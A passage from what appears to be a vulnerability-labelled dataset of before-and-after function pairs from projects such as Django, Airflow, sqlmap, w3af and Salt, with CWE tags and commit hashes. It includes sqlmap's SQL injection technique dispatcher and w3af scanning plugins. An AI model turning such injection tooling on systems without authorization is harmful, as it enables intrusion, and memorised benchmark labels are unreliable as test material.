        self.assertEqual(parse_cookie('a=b; ""; c=d'), {""a"": ""b"", """": '""', ""c"": ""d""})
        # Spaces in names and values, and an equals sign in values.
        self.assertEqual(
            parse_cookie(""a b c=d e = f; gh=i""), {""a b c"": ""d e = f"", ""gh"": ""i""}
        )
        # More characters the spec forbids.
        self.assertEqual(
            parse_cookie('a   b,c<>@:/[]?{}=d  ""  =e,f g'),
            {""a   b,c<>@:/[]?{}"": 'd  ""  =e,f g'},
        )
        # Unicode characters. The spec only allows ASCII.
        self.assertEqual(
            parse_cookie(""saint=André Bessette""),
            {""saint"": native_str(""André Bessette"")},
        )
        # Browsers don't send extra whitespace or semicolons in Cookie headers,
        # but parse_cookie() should parse whitespace the same way
        # document.cookie parses whitespace.
        self.assertEqual(
            parse_cookie(""  =  b  ;  ;  =  ;   c  =  ;  ""), {"""": ""b"", ""c"": """"}
        )"
,UNKNOWN,UNKNOWN,tests/api_fastapi/core_api/routes/public/test_connections.py,1,"def test_post_should_response_201_redacted_password(self, test_client, body, expected_response):
        response = test_client.post(""/public/connections"", json=body)
        assert response.status_code == 201
        assert response.json() == expected_response",CWE-703,apache/airflow,995ec1eaccf68bb956d425d5cfbef84ad8bac6d2,"def test_post_should_response_201_redacted_password(self, test_client, body, expected_response):
        response = test_client.post(""/public/connections"", json=body)
        assert response.status_code == 201
        assert response.json() == expected_response"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,django/forms/widgets.py,0,"def value_from_datadict(self, data, files, name):
        try:
            getter = data.getlist
        except AttributeError:
            getter = data.get
        return getter(name)",CWE-Unknown,django/django,ff0c6b83e590e36555639563c4bd1d808f416455,"def value_from_datadict(self, data, files, name):
        try:
            getter = data.getlist
        except AttributeError:
            getter = data.get
        return getter(name)"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,thirdparty/socks/socks.py,0,"def wrapmodule(module):
    """"""wrapmodule(module)
    Attempts to replace a module's socket library with a SOCKS socket. Must set
    a default proxy using setdefaultproxy(...) first.
    This will only work on modules that import socket directly into the namespace;
    most of the Python Standard Library falls into this category.
    """"""
    if _defaultproxy != None:
        module.socket.socket = socksocket
        if _defaultproxy[0] == PROXY_TYPE_SOCKS4:
            # Note: unable to prevent DNS leakage in SOCKS4 (Reference: https://security.stackexchange.com/a/171280)
            pass
        else:
            module.socket.create_connection = create_connection
    else:
        raise GeneralProxyError((4, ""no proxy specified""))",,sqlmapproject/sqlmap,557da5dee44f3703d007a4d97d950c1210a72b5c,"def wrapmodule(module):
    """"""wrapmodule(module)
    Attempts to replace a module's socket library with a SOCKS socket. Must set
    a default proxy using setdefaultproxy(...) first.
    This will only work on modules that import socket directly into the namespace;
    most of the Python Standard Library falls into this category.
    """"""
    if _defaultproxy != None:
        module.socket.socket = socksocket
        module.socket.create_connection = create_connection
    else:
        raise GeneralProxyError((4, ""no proxy specified""))"
functions_for_volatility_with_cwe.csv,UNKNOWN,UNKNOWN,volatility/plugins/malware/psxview.py,0,"def calculate(self):
        addr_space = utils.load_as(self._config)

        all_tasks = list(tasks.pslist(addr_space))

        ps_sources = {}
        # The keys are names of process sources. The values
        # are dictionaries whose keys are physical process 
        # offsets and the values are _EPROCESS objects. 
        ps_sources['pslist'] = self.check_pslist(all_tasks)
        ps_sources['psscan'] = self.check_psscan()
        ps_sources['thrdproc'] = self.check_thrdproc(addr_space)
        ps_sources['csrss'] = self.check_csrss_handles(all_tasks)
        ps_sources['pspcid'] = self.check_pspcid(addr_space)
        ps_sources['session'] = self.check_sessions(addr_space)
        if addr_space.profile.metadata.get('major', 0) == 6 and addr_space.profile.metadata.get('minor', 0) >= 2:
            ps_sources['deskthrd'] = {}
        else:
            ps_sources['deskthrd'] = self.check_desktop_thread(addr_space)

        # Build a list of offsets from all sources
        seen_offsets = []
        for source in ps_sources.values():
            for offset in source.keys():
                if offset not in seen_offsets:
                    seen_offsets.append(offset)
                    yield offset, source[offset], ps_sources",,volatilityfoundation/volatility,8b4ed02f0028e75ee207a623fbb8c4b08589266d,"def calculate(self):
        addr_space = utils.load_as(self._config)

        all_tasks = list(tasks.pslist(addr_space))

        ps_sources = {}
        # The keys are names of process sources. The values
        # are dictionaries whose keys are physical process 
        # offsets and the values are _EPROCESS objects. 
        ps_sources['pslist'] = self.check_pslist(all_tasks)
        ps_sources['psscan'] = self.check_psscan()
        ps_sources['thrdproc'] = self.check_thrdproc(addr_space)
        ps_sources['csrss'] = self.check_csrss_handles(all_tasks)
        ps_sources['pspcid'] = self.check_pspcid(addr_space)
        ps_sources['session'] = self.check_sessions(addr_space)
        if addr_space.profile.metadata.get('major', 0) == 6 and addr_space.profile.metadata.get('minor', 0) == 2:
            ps_sources['deskthrd'] = {}
        else:
            ps_sources['deskthrd'] = self.check_desktop_thread(addr_space)

        # Build a list of offsets from all sources
        seen_offsets = []
        for source in ps_sources.values():
            for offset in source.keys():
                if offset not in seen_offsets:
                    seen_offsets.append(offset)
                    yield offset, source[offset], ps_sources"
functions_for_w3af_with_cwe.csv,UNKNOWN,UNKNOWN,plugins/discovery/findBackdoor.py,0,"def _check_if_exists(self, web_shell_url):
        '''
        Check if the file exists.
        
        @parameter web_shell_url: The URL to check
        '''
        try:
            response = self._uri_opener.GET(web_shell_url, cache=True)
        except w3afException:
            om.out.debug('Failed to GET webshell:' + web_shell_url)
        else:
            if self._is_possible_backdoor(response):
                v = vuln.vuln()
                v.setPluginName(self.getName())
                v.setId(response.id)
                v.setName('Possible web backdoor')
                v.setSeverity(severity.HIGH)
                v.setURL(response.getURL())
                msg = 'A web backdoor was found at: ""%s""; this could ' \
                'indicate that the server was hacked.' % v.getURL()
                v.setDesc(msg)
                kb.kb.append(self, 'backdoors', v)
                om.out.vulnerability(v.getDesc(), severity=v.getSeverity())

                fuzzable_requests = self._createFuzzableRequests(response)
                self._fuzzable_requests_to_return += fuzzable_requests",,andresriancho/w3af,434524e6fc7e61d86dc77f3db72b5e8cc7ffc615,"def _check_if_exists(self, web_shell_url):
        '''
        Check if the file exists.
        
        @parameter web_shell_url: The URL to check
        '''
        try:
            response = self._urlOpener.GET(web_shell_url, useCache=True)
        except w3afException:
            om.out.debug('Failed to GET webshell:' + web_shell_url)
        else:
            if self._is_possible_backdoor(response):
                v = vuln.vuln()
                v.setPluginName(self.getName())
                v.setId(response.id)
                v.setName('Possible web backdoor')
                v.setSeverity(severity.HIGH)
                v.setURL(response.getURL())
                msg = 'A web backdoor was found at: ""%s""; this could ' \
                'indicate that the server was hacked.' % v.getURL()
                v.setDesc(msg)
                kb.kb.append(self, 'backdoors', v)
                om.out.vulnerability(v.getDesc(), severity=v.getSeverity())

                fuzzable_requests = self._createFuzzableRequests(response)
                self._fuzzable_requests_to_return += fuzzable_requests"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/modules/win_wua.py,0,"def set_wu_settings(level=None,
                    recommended=None,
                    featured=None,
                    elevated=None,
                    msupdate=None,
                    day=None,
                    time=None):
    '''
    Change Windows Update settings. If no parameters are passed, the current
    value will be returned.

    Supported:
        - Windows Vista / Server 2008
        - Windows 7 / Server 2008R2
        - Windows 8 / Server 2012
        - Windows 8.1 / Server 2012R2

    .. note:
        Microsoft began using the Unified Update Platform (UUP) starting with
        Windows 10 / Server 2016. The Windows Update settings have changed and
        the ability to 'Save' Windows Update settings has been removed. Windows
        Update settings are read-only. See MSDN documentation:
        https://msdn.microsoft.com/en-us/library/aa385829(v=vs.85).aspx

    Args:

        level (int):
            Number from 1 to 4 indicating the update level:

            1. Never check for updates
            2. Check for updates but let me choose whether to download and install them
            3. Download updates but let me choose whether to install them
            4. Install updates automatically

        recommended (bool):
            Boolean value that indicates whether to include optional or
            recommended updates when a search for updates and installation of
            updates is performed.

        featured (bool):
            Boolean value that indicates whether to display notifications for
            featured updates.

        elevated (bool):
            Boolean value that indicates whether non-administrators can perform
            some update-related actions without administrator approval.

        msupdate (bool):
            Boolean value that indicates whether to turn on Microsoft Update for
            other Microsoft products

        day (str):
            Days of the week on which Automatic Updates installs or uninstalls
            updates. Accepted values:

            - Everyday
            - Monday
            - Tuesday
            - Wednesday
            - Thursday
            - Friday
            - Saturday

        time (str):
            Time at which Automatic Updates installs or uninstalls updates. Must
            be in the ##:## 24hr format, eg. 3:00 PM would be 15:00. Must be in
            1 hour increments.

    Returns:

        dict: Returns a dictionary containing the results.

    CLI Examples:

    .. code-block:: bash

        salt '*' win_wua.set_wu_settings level=4 recommended=True featured=False
    '''
    # The AutomaticUpdateSettings.Save() method used in this function does not
    # work on Windows 10 / Server 2016. It is called in throughout this function
    # like this:
    #
    # with salt.utils.winapi.Com():
    #     obj_au = win32com.client.Dispatch('Microsoft.Update.AutoUpdate')
    #     obj_au_settings = obj_au.Settings
    #     obj_au_settings.Save()
    #
    # The `Save()` method reports success but doesn't actually change anything.
    # Windows Update settings are read-only in Windows 10 / Server 2016. There's
    # a little blurb on MSDN that mentions this, but gives no alternative for
    # changing these settings in Windows 10 / Server 2016.
    #
    # https://msdn.microsoft.com/en-us/library/aa385829(v=vs.85).aspx
    #
    # Apparently the Windows Update framework in Windows Vista - Windows 8.1 has
    # been changed quite a bit in Windows 10 / Server 2016. It is now called the
    # Unified Update Platform (UUP). I haven't found an API or a Powershell
    # commandlet for working with the the UUP. Perhaps there will be something
    # forthcoming. The `win_lgpo` module might be an option for changing the
    # Windows Update settings using local group policy.
    ret = {'Success': True}

    # Initialize the PyCom system
    with salt.utils.winapi.Com():

        # Create an AutoUpdate object
        obj_au = win32com.client.Dispatch('Microsoft.Update.AutoUpdate')

    # Create an AutoUpdate Settings Object
    obj_au_settings = obj_au.Settings

    # Only change the setting if it's passed
    if level is not None:
        obj_au_settings.NotificationLevel = int(level)
        result = obj_au_settings.Save()
        if result is None:
            ret['Level'] = level
        else:
            ret['Comment'] = ""Settings failed to save. Check permissions.""
            ret['Success'] = False

    if recommended is not None:
        obj_au_settings.IncludeRecommendedUpdates = recommended
        result = obj_au_settings.Save()
        if result is None:
            ret['Recommended'] = recommended
        else:
            ret['Comment'] = ""Settings failed to save. Check permissions.""
            ret['Success'] = False

    if featured is not None:
        obj_au_settings.FeaturedUpdatesEnabled = featured
        result = obj_au_settings.Save()
        if result is None:
            ret['Featured'] = featured
        else:
            ret['Comment'] = ""Settings failed to save. Check permissions.""
            ret['Success'] = False

    if elevated is not None:
        obj_au_settings.NonAdministratorsElevated = elevated
        result = obj_au_settings.Save()
        if result is None:
            ret['Elevated'] = elevated
        else:
            ret['Comment'] = ""Settings failed to save. Check permissions.""
            ret['Success'] = False

    if day is not None:
        # Check that day is valid
        days = {'Everyday': 0,
                'Sunday': 1,
                'Monday': 2,
                'Tuesday': 3,
                'Wednesday': 4,
                'Thursday': 5,
                'Friday': 6,
                'Saturday': 7}
        if day not in days:
            ret['Comment'] = ""Day needs to be one of the following: Everyday,"" \
                             ""Monday, Tuesday, Wednesday, Thursday, Friday, "" \
                             ""Saturday""
            ret['Success'] = False
        else:
            # Set the numeric equivalent for the day setting
            obj_au_settings.ScheduledInstallationDay = days[day]
            result = obj_au_settings.Save()
            if result is None:
                ret['Day'] = day
            else:
                ret['Comment'] = ""Settings failed to save. Check permissions.""
                ret['Success'] = False

    if time is not None:
        # Check for time as a string: if the time is not quoted, yaml will
        # treat it as an integer
        if not isinstance(time, six.string_types):
            ret['Comment'] = ""Time argument needs to be a string; it may need to""\
                             ""be quoted. Passed {0}. Time not set."".format(time)
            ret['Success'] = False
        # Check for colon in the time
        elif ':' not in time:
            ret['Comment'] = ""Time argument needs to be in 00:00 format."" \
                             "" Passed {0}. Time not set."".format(time)
            ret['Success'] = False
        else:
            # Split the time by :
            t = time.split("":"")
            # We only need the hours value
            obj_au_settings.FeaturedUpdatesEnabled = t[0]
            result = obj_au_settings.Save()
            if result is None:
                ret['Time'] = time
            else:
                ret['Comment'] = ""Settings failed to save. Check permissions.""
                ret['Success'] = False

    if msupdate is not None:
        # Microsoft Update requires special handling
        # First load the MS Update Service Manager
        with salt.utils.winapi.Com():
            obj_sm = win32com.client.Dispatch('Microsoft.Update.ServiceManager')

        # Give it a bogus name
        obj_sm.ClientApplicationID = ""My App""

        if msupdate:
            # msupdate is true, so add it to the services
            try:
                obj_sm.AddService2('7971f918-a847-4430-9279-4a52d1efe18d', 7, '')
                ret['msupdate'] = msupdate
            except Exception as error:
                hr, msg, exc, arg = error.args  # pylint: disable=unpacking-non-sequence,unbalanced-tuple-unpacking
                # Consider checking for -2147024891 (0x80070005) Access Denied
                ret['Comment'] = ""Failed with failure code: {0}"".format(exc[5])
                ret['Success'] = False
        else:
            # msupdate is false, so remove it from the services
            # check to see if the update is there or the RemoveService function
            # will fail
            if _get_msupdate_status():
                # Service found, remove the service
                try:
                    obj_sm.RemoveService('7971f918-a847-4430-9279-4a52d1efe18d')
                    ret['msupdate'] = msupdate
                except Exception as error:
                    hr, msg, exc, arg = error.args  # pylint: disable=unpacking-non-sequence,unbalanced-tuple-unpacking
                    # Consider checking for the following
                    # -2147024891 (0x80070005) Access Denied
                    # -2145091564 (0x80248014) Service Not Found (shouldn't get
                    # this with the check for _get_msupdate_status above
                    ret['Comment'] = ""Failed with failure code: {0}"".format(exc[5])
                    ret['Success'] = False
            else:
                ret['msupdate'] = msupdate

    ret['Reboot'] = get_needs_reboot()

    return ret",,saltstack/salt,8f3a5dcafdcc3edb1784e8cf9aff44738d285446,"def set_wu_settings(level=None,
                    recommended=None,
                    featured=None,
                    elevated=None,
                    msupdate=None,
                    day=None,
                    time=None):
    '''
    Change Windows Update settings. If no parameters are passed, the current
    value will be returned.

    Supported:
        - Windows Vista / Server 2008
        - Windows 7 / Server 2008R2
        - Windows 8 / Server 2012
        - Windows 8.1 / Server 2012R2

    .. note:
        Microsoft began using the Unified Update Platform (UUP) starting with
        Windows 10 / Server 2016. The Windows Update settings have changed and
        the ability to 'Save' Windows Update settings has been removed. Windows
        Update settings are read-only. See MSDN documentation:
        https://msdn.microsoft.com/en-us/library/aa385829(v=vs.85).aspx

    Args:

        level (int):
            Number from 1 to 4 indicating the update level:

            1. Never check for updates
            2. Check for updates but let me choose whether to download and install them
            3. Download updates but let me choose whether to install them
            4. Install updates automatically

        recommended (bool):
            Boolean value that indicates whether to include optional or
            recommended updates when a search for updates and installation of
            updates is performed.

        featured (bool):
            Boolean value that indicates whether to display notifications for
            featured updates.

        elevated (bool):
            Boolean value that indicates whether non-administrators can perform
            some update-related actions without administrator approval.

        msupdate (bool):
            Boolean value that indicates whether to turn on Microsoft Update for
            other Microsoft products

        day (str):
            Days of the week on which Automatic Updates installs or uninstalls
            updates. Accepted values:

            - Everyday
            - Monday
            - Tuesday
            - Wednesday
            - Thursday
            - Friday
            - Saturday

        time (str):
            Time at which Automatic Updates installs or uninstalls updates. Must
            be in the ##:## 24hr format, eg. 3:00 PM would be 15:00. Must be in
            1 hour increments.

    Returns:

        dict: Returns a dictionary containing the results.

    CLI Examples:

    .. code-block:: bash

        salt '*' win_wua.set_wu_settings level=4 recommended=True featured=False
    '''
    # The AutomaticUpdateSettings.Save() method used in this function does not
    # work on Windows 10 / Server 2016. It is called in throughout this function
    # like this:
    #
    # with salt.utils.winapi.Com():
    #     obj_au = win32com.client.Dispatch('Microsoft.Update.AutoUpdate')
    #     obj_au_settings = obj_au.Settings
    #     obj_au_settings.Save()
    #
    # The `Save()` method reports success but doesn't actually change anything.
    # Windows Update settings are read-only in Windows 10 / Server 2016. There's
    # a little blurb on MSDN that mentions this, but gives no alternative for
    # changing these settings in Windows 10 / Server 2016.
    #
    # https://msdn.microsoft.com/en-us/library/aa385829(v=vs.85).aspx
    #
    # Apparently the Windows Update framework in Windows Vista - Windows 8.1 has
    # been changed quite a bit in Windows 10 / Server 2016. It is now called the
    # Unified Update Platform (UUP). I haven't found an API or a Powershell
    # commandlet for working with the the UUP. Perhaps there will be something
    # forthcoming. The `win_lgpo` module might be an option for changing the
    # Windows Update settings using local group policy.
    ret = {'Success': True}

    # Initialize the PyCom system
    with salt.utils.winapi.Com():

        # Create an AutoUpdate object
        obj_au = win32com.client.Dispatch('Microsoft.Update.AutoUpdate')

    # Create an AutoUpdate Settings Object
    obj_au_settings = obj_au.Settings

    # Only change the setting if it's passed
    if level is not None:
        obj_au_settings.NotificationLevel = int(level)
        result = obj_au_settings.Save()
        if result is None:
            ret['Level'] = level
        else:
            ret['Comment'] = ""Settings failed to save. Check permissions.""
            ret['Success'] = False

    if recommended is not None:
        obj_au_settings.IncludeRecommendedUpdates = recommended
        result = obj_au_settings.Save()
        if result is None:
            ret['Recommended'] = recommended
        else:
            ret['Comment'] = ""Settings failed to save. Check permissions.""
            ret['Success'] = False

    if featured is not None:
        obj_au_settings.FeaturedUpdatesEnabled = featured
        result = obj_au_settings.Save()
        if result is None:
            ret['Featured'] = featured
        else:
            ret['Comment'] = ""Settings failed to save. Check permissions.""
            ret['Success'] = False

    if elevated is not None:
        obj_au_settings.NonAdministratorsElevated = elevated
        result = obj_au_settings.Save()
        if result is None:
            ret['Elevated'] = elevated
        else:
            ret['Comment'] = ""Settings failed to save. Check permissions.""
            ret['Success'] = False

    if day is not None:
        # Check that day is valid
        days = {'Everyday': 0,
                'Sunday': 1,
                'Monday': 2,
                'Tuesday': 3,
                'Wednesday': 4,
                'Thursday': 5,
                'Friday': 6,
                'Saturday': 7}
        if day not in days:
            ret['Comment'] = ""Day needs to be one of the following: Everyday,"" \
                             ""Monday, Tuesday, Wednesday, Thursday, Friday, "" \
                             ""Saturday""
            ret['Success'] = False
        else:
            # Set the numeric equivalent for the day setting
            obj_au_settings.ScheduledInstallationDay = days[day]
            result = obj_au_settings.Save()
            if result is None:
                ret['Day'] = day
            else:
                ret['Comment'] = ""Settings failed to save. Check permissions.""
                ret['Success'] = False

    if time is not None:
        # Check for time as a string: if the time is not quoted, yaml will
        # treat it as an integer
        if not isinstance(time, six.string_types):
            ret['Comment'] = ""Time argument needs to be a string; it may need to""\
                             ""be quoted. Passed {0}. Time not set."".format(time)
            ret['Success'] = False
        # Check for colon in the time
        elif ':' not in time:
            ret['Comment'] = ""Time argument needs to be in 00:00 format."" \
                             "" Passed {0}. Time not set."".format(time)
            ret['Success'] = False
        else:
            # Split the time by :
            t = time.split("":"")
            # We only need the hours value
            obj_au_settings.FeaturedUpdatesEnabled = t[0]
            result = obj_au_settings.Save()
            if result is None:
                ret['Time'] = time
            else:
                ret['Comment'] = ""Settings failed to save. Check permissions.""
                ret['Success'] = False

    if msupdate is not None:
        # Microsoft Update requires special handling
        # First load the MS Update Service Manager
        with salt.utils.winapi.Com():
            obj_sm = win32com.client.Dispatch('Microsoft.Update.ServiceManager')

        # Give it a bogus name
        obj_sm.ClientApplicationID = ""My App""

        if msupdate:
            # msupdate is true, so add it to the services
            try:
                obj_sm.AddService2('7971f918-a847-4430-9279-4a52d1efe18d', 7, '')
                ret['msupdate'] = msupdate
            except Exception as error:
                hr, msg, exc, arg = error.args  # pylint: disable=W0633
                # Consider checking for -2147024891 (0x80070005) Access Denied
                ret['Comment'] = ""Failed with failure code: {0}"".format(exc[5])
                ret['Success'] = False
        else:
            # msupdate is false, so remove it from the services
            # check to see if the update is there or the RemoveService function
            # will fail
            if _get_msupdate_status():
                # Service found, remove the service
                try:
                    obj_sm.RemoveService('7971f918-a847-4430-9279-4a52d1efe18d')
                    ret['msupdate'] = msupdate
                except Exception as error:
                    hr, msg, exc, arg = error.args  # pylint: disable=W0633
                    # Consider checking for the following
                    # -2147024891 (0x80070005) Access Denied
                    # -2145091564 (0x80248014) Service Not Found (shouldn't get
                    # this with the check for _get_msupdate_status above
                    ret['Comment'] = ""Failed with failure code: {0}"".format(exc[5])
                    ret['Success'] = False
            else:
                ret['msupdate'] = msupdate

    ret['Reboot'] = get_needs_reboot()

    return ret"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,lib/request/inject.py,0,"def getValue(expression, blind=True, union=True, error=True, time=True, fromUser=False, expected=None, batch=False, unpack=True, resumeValue=True, charsetType=None, firstChar=None, lastChar=None, dump=False, suppressOutput=None, expectingNone=False, safeCharEncode=True):
    """"""
    Called each time sqlmap inject a SQL query on the SQL injection
    affected parameter.
    """"""

    if conf.hexConvert:
        charsetType = CHARSET_TYPE.HEXADECIMAL

    kb.safeCharEncode = safeCharEncode
    kb.resumeValues = resumeValue

    if suppressOutput is not None:
        pushValue(getCurrentThreadData().disableStdOut)
        getCurrentThreadData().disableStdOut = suppressOutput

    try:
        if expected == EXPECTED.BOOL:
            forgeCaseExpression = booleanExpression = expression

            if expression.upper().startswith(""SELECT ""):
                booleanExpression = ""(%s)=%s"" % (booleanExpression, ""'1'"" if ""'1'"" in booleanExpression else ""1"")
            else:
                forgeCaseExpression = agent.forgeCaseStatement(expression)

        if conf.direct:
            value = direct(forgeCaseExpression if expected == EXPECTED.BOOL else expression)

        elif any(map(isTechniqueAvailable, getPublicTypeMembers(PAYLOAD.TECHNIQUE, onlyValues=True))):
            query = cleanQuery(expression)
            query = expandAsteriskForColumns(query)
            value = None
            found = False
            count = 0

            if query and not re.search(r""COUNT.*FROM.*\(.*DISTINCT"", query, re.I):
                query = query.replace(""DISTINCT "", """")

            if not conf.forceDns:
                if union and isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION):
                    kb.technique = PAYLOAD.TECHNIQUE.UNION
                    value = _goUnion(forgeCaseExpression if expected == EXPECTED.BOOL else query, unpack, dump)
                    count += 1
                    found = (value is not None) or (value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE

                if error and any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) and not found:
                    kb.technique = PAYLOAD.TECHNIQUE.ERROR if isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) else PAYLOAD.TECHNIQUE.QUERY
                    value = errorUse(forgeCaseExpression if expected == EXPECTED.BOOL else query, dump)
                    count += 1
                    found = (value is not None) or (value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE

                if found and conf.dnsName:
                    _ = """".join(filter(None, (key if isTechniqueAvailable(value) else None for key, value in {""E"": PAYLOAD.TECHNIQUE.ERROR, ""Q"": PAYLOAD.TECHNIQUE.QUERY, ""U"": PAYLOAD.TECHNIQUE.UNION}.items())))
                    warnMsg = ""option '--dns-domain' will be ignored ""
                    warnMsg += ""as faster techniques are usable ""
                    warnMsg += ""(%s) "" % _
                    singleTimeWarnMessage(warnMsg)

            if blind and isTechniqueAvailable(PAYLOAD.TECHNIQUE.BOOLEAN) and not found:
                kb.technique = PAYLOAD.TECHNIQUE.BOOLEAN

                if expected == EXPECTED.BOOL:
                    value = _goBooleanProxy(booleanExpression)
                else:
                    value = _goInferenceProxy(query, fromUser, batch, unpack, charsetType, firstChar, lastChar, dump)

                count += 1
                found = (value is not None) or (value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE

            if time and (isTechniqueAvailable(PAYLOAD.TECHNIQUE.TIME) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED)) and not found:
                if isTechniqueAvailable(PAYLOAD.TECHNIQUE.TIME):
                    kb.technique = PAYLOAD.TECHNIQUE.TIME
                else:
                    kb.technique = PAYLOAD.TECHNIQUE.STACKED

                if expected == EXPECTED.BOOL:
                    value = _goBooleanProxy(booleanExpression)
                else:
                    value = _goInferenceProxy(query, fromUser, batch, unpack, charsetType, firstChar, lastChar, dump)

        else:
            errMsg = ""none of the injection types identified can be ""
            errMsg += ""leveraged to retrieve queries output""
            raise SqlmapNotVulnerableException(errMsg)

    finally:
        kb.resumeValues = True

        if suppressOutput is not None:
            getCurrentThreadData().disableStdOut = popValue()

    kb.safeCharEncode = False

    if not kb.testMode and value is None and Backend.getDbms() and conf.dbmsHandler:
        warnMsg = ""in case of continuous data retrieval problems you are advised to try ""
        warnMsg += ""a switch '--no-cast' and/or switch '--hex'""
        singleTimeWarnMessage(warnMsg)

    if kb.partRun:
        kb.partRun = None

    return extractExpectedValue(value, expected)",,sqlmapproject/sqlmap,b272b0574da84980f9559ed3cafd19ff5b1f7d29,"def getValue(expression, blind=True, union=True, error=True, time=True, fromUser=False, expected=None, batch=False, unpack=True, resumeValue=True, charsetType=None, firstChar=None, lastChar=None, dump=False, suppressOutput=None, expectingNone=False, safeCharEncode=True):
    """"""
    Called each time sqlmap inject a SQL query on the SQL injection
    affected parameter.
    """"""

    if conf.hexConvert:
        charsetType = CHARSET_TYPE.HEXADECIMAL

    kb.safeCharEncode = safeCharEncode
    kb.resumeValues = resumeValue

    if suppressOutput is not None:
        pushValue(getCurrentThreadData().disableStdOut)
        getCurrentThreadData().disableStdOut = suppressOutput

    try:
        if expected == EXPECTED.BOOL:
            forgeCaseExpression = booleanExpression = expression

            if expression.upper().startswith(""SELECT ""):
                booleanExpression = ""(%s)=%s"" % (booleanExpression, ""'1'"" if ""'1'"" in booleanExpression else ""1"")
            else:
                forgeCaseExpression = agent.forgeCaseStatement(expression)

        if conf.direct:
            value = direct(forgeCaseExpression if expected == EXPECTED.BOOL else expression)

        elif any(map(isTechniqueAvailable, getPublicTypeMembers(PAYLOAD.TECHNIQUE, onlyValues=True))):
            query = cleanQuery(expression)
            query = expandAsteriskForColumns(query)
            value = None
            found = False
            count = 0

            if query and not re.search(r""COUNT.*FROM.*\(.*DISTINCT"", query, re.I):
                query = query.replace(""DISTINCT "", """")

            if not conf.forceDns:
                if union and isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION):
                    kb.technique = PAYLOAD.TECHNIQUE.UNION
                    value = _goUnion(forgeCaseExpression if expected == EXPECTED.BOOL else query, unpack, dump)
                    count += 1
                    found = (value is not None) or (value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE

                if error and any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) and not found:
                    kb.technique = PAYLOAD.TECHNIQUE.ERROR if isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) else PAYLOAD.TECHNIQUE.QUERY
                    value = errorUse(forgeCaseExpression if expected == EXPECTED.BOOL else query, dump)
                    count += 1
                    found = (value is not None) or (value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE

                if found and conf.dnsName:
                    _ = """".join(filter(None, (key if isTechniqueAvailable(value) else None for key, value in {""E"": PAYLOAD.TECHNIQUE.ERROR, ""Q"": PAYLOAD.TECHNIQUE.QUERY, ""U"": PAYLOAD.TECHNIQUE.UNION}.items())))
                    warnMsg = ""option '--dns-domain' will be ignored ""
                    warnMsg += ""as faster techniques are usable ""
                    warnMsg += ""(%s) "" % _
                    singleTimeWarnMessage(warnMsg)

            if blind and isTechniqueAvailable(PAYLOAD.TECHNIQUE.BOOLEAN) and not found:
                kb.technique = PAYLOAD.TECHNIQUE.BOOLEAN

                if expected == EXPECTED.BOOL:
                    value = _goBooleanProxy(booleanExpression)
                else:
                    value = _goInferenceProxy(query, fromUser, batch, unpack, charsetType, firstChar, lastChar, dump)

                count += 1
                found = (value is not None) or (value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE

            if time and (isTechniqueAvailable(PAYLOAD.TECHNIQUE.TIME) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED)) and not found:
                if isTechniqueAvailable(PAYLOAD.TECHNIQUE.TIME):
                    kb.technique = PAYLOAD.TECHNIQUE.TIME
                else:
                    kb.technique = PAYLOAD.TECHNIQUE.STACKED

                if expected == EXPECTED.BOOL:
                    value = _goBooleanProxy(booleanExpression)
                else:
                    value = _goInferenceProxy(query, fromUser, batch, unpack, charsetType, firstChar, lastChar, dump)

        else:
            errMsg = ""none of the injection types identified can be ""
            errMsg += ""leveraged to retrieve queries output""
            raise SqlmapNotVulnerableException(errMsg)

    finally:
        kb.resumeValues = True

        if suppressOutput is not None:
            getCurrentThreadData().disableStdOut = popValue()

    kb.safeCharEncode = False

    if not kb.testMode and value is None and Backend.getDbms() and conf.dbmsHandler:
        warnMsg = ""in case of continuous data retrieval problems you are advised to try ""
        warnMsg += ""a switch '--no-cast' and/or switch '--hex'""
        singleTimeWarnMessage(warnMsg)

    return extractExpectedValue(value, expected)"
functions_for_w3af_with_cwe.csv,UNKNOWN,UNKNOWN,plugins/audit/buffOverflow.py,0,"def audit(self, freq ):
        '''
        Tests an URL for buffer overflow vulnerabilities.
        
        @param freq: A fuzzableRequest
        '''
        om.out.debug( 'bufferOverflow plugin is testing: ' + freq.getURL() )
        
        str_list = self._get_string_list()
        try:
            oResponse = self._uri_opener.send_mutant(freq)
        except:
            msg = 'Failed to perform the initial request during buffer'
            msg += ' overflow testing'
            om.out.debug( msg )
        else:
            mutants = createMutants(freq , str_list, oResponse=oResponse)
                
            for mutant in mutants:
                self._run_async(meth=self._send_request, args=(mutant,))
            self._join()",,andresriancho/w3af,434524e6fc7e61d86dc77f3db72b5e8cc7ffc615,"def audit(self, freq ):
        '''
        Tests an URL for buffer overflow vulnerabilities.
        
        @param freq: A fuzzableRequest
        '''
        om.out.debug( 'bufferOverflow plugin is testing: ' + freq.getURL() )
        
        str_list = self._get_string_list()
        try:
            oResponse = self._sendMutant( freq , analyze=False )
        except:
            msg = 'Failed to perform the initial request during buffer'
            msg += ' overflow testing'
            om.out.debug( msg )
        else:
            mutants = createMutants(freq , str_list, oResponse=oResponse)
                
            for mutant in mutants:
                self._run_async(meth=self._sendMutant, args=(mutant,))
            self._join()"
,UNKNOWN,UNKNOWN,django/views/decorators/debug.py,1,"def decorator(view):
        @functools.wraps(view)
        def sensitive_post_parameters_wrapper(request, *args, **kwargs):
            assert isinstance(request, HttpRequest), (
                ""sensitive_post_parameters didn't receive an HttpRequest. ""
